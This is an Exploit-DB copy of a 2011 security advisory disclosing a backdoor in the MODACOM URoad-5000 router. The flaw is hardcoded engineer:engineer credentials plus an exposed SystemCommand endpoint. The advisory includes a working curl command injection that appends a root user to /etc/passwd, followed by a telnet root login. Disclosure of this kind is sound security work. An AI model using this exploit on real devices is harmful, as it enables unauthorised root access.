Alex Stanev Security Advisory #4 @31.05.2011

vendor:

URoad-5000

by:

Alex Stanev

7.5

CVSS

HIGH

Remote command execution/Backdoor

CWE

Product Name: URoad-5000

Affected Version From: v1450

Affected Version To: v1450

Patch Exists: NO

Related CWE: N/A

CPE: h:modacom:uroad-5000

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2011

Alex Stanev Security Advisory #4 @31.05.2011

The box uses modified version of RaLink SDK. The standard web interface is accessed via HTTP. 1) Web administration interface can be accessed with standard user/password pair admin:admin This can be later changed, but there is another possible access pair - engineer:engineer and it can't be changed via the web interface. 2) Some of the SDK standard scripts are left and their screens in the web interface are just HTML commented. This reveals the /goform/SystemCommand method. Remote add r00t user with password boza $curl --basic -u "engineer:engineer" -d "command=echo -e "r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh" >> /etc/passwd;&SystemCommandSubmit=Apply" 192.168.100.254/goform/SystemCommand $telnet 192.168.100.254 Trying 192.168.100.254... Connected to 192.168.100.254. modacom login: r00t Password: boza BusyBox v1.12.1 (2010-03-05 21:33:57 KST) built-in shell (ash) Enter 'help' for a list of built-in commands.

Mitigation:

Change the default password and disable the /goform/SystemCommand method.

Source

Exploit-DB raw data:

      ================================================
     == Alex Stanev Security Advisory #4 @31.05.2011 ==
     ==             http://sec.stanev.org            ==
      ================================================

PRODUCT
     URoad-5000

VENDOR
     MODACOM [http://www.modacom.co.kr]

VERSIONS AFFECTED
     v1450

CLASS
     Remote command execution/Backdoor

PRODUCT DESCRIPTION
     URoad-5000 is integrated battery powered wireless router. It comes with only one external USB
     interface and no other hardware comm interfaces (such as ethernet). Based on RaLink SoC 3050.
     The USB port is used for connection with MW-U3050, which is USB WiMAX dongle.
     Linux inside.
     Often marketed as WiMAX 2 WiFi "converter".

THE PROBLEM
     The box uses modified version of RaLink SDK. The standard web interface is accessed via HTTP.
     1) Web administration interface can be accessed with standard user/password pair admin:admin
     This can be later changed, but there is another possible access pair - engineer:engineer
     and it can't be changed via the web interface.
     2) Some of the SDK standard scripts are left and their screens in the web interface are just
     HTML commented. This reveals the /goform/SystemCommand method.

EXPLOIT
     1) Remote add r00t user with password boza
          $curl --basic -u "engineer:engineer" \
	        -d "command=echo -e \"r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh\" >> /etc/passwd;&SystemCommandSubmit=Apply" \
	        192.168.100.254/goform/SystemCommand
          $telnet 192.168.100.254
          Trying 192.168.100.254...
          Connected to 192.168.100.254.
          modacom login: r00t
          Password: boza
          BusyBox v1.12.1 (2010-03-05 21:33:57 KST) built-in shell (ash)
          Enter 'help' for a list of built-in commands.
          #

ADDITIONAL INFO
     The flaw was presented on OpenFest 2010.
     Presentation: http://openfest.org/files/slides-2010/OpenFest2010_Reverse_engineering_Alex_Stanev.pdf [in bulgarian]

PATCH/WORKAROUND
     No workaround possible. Next version?

VENDOR STATUS
     NOT informed. Backdoor.

     =========================
    ==           EOF         ==
    == http://sec.stanev.org ==
     =========================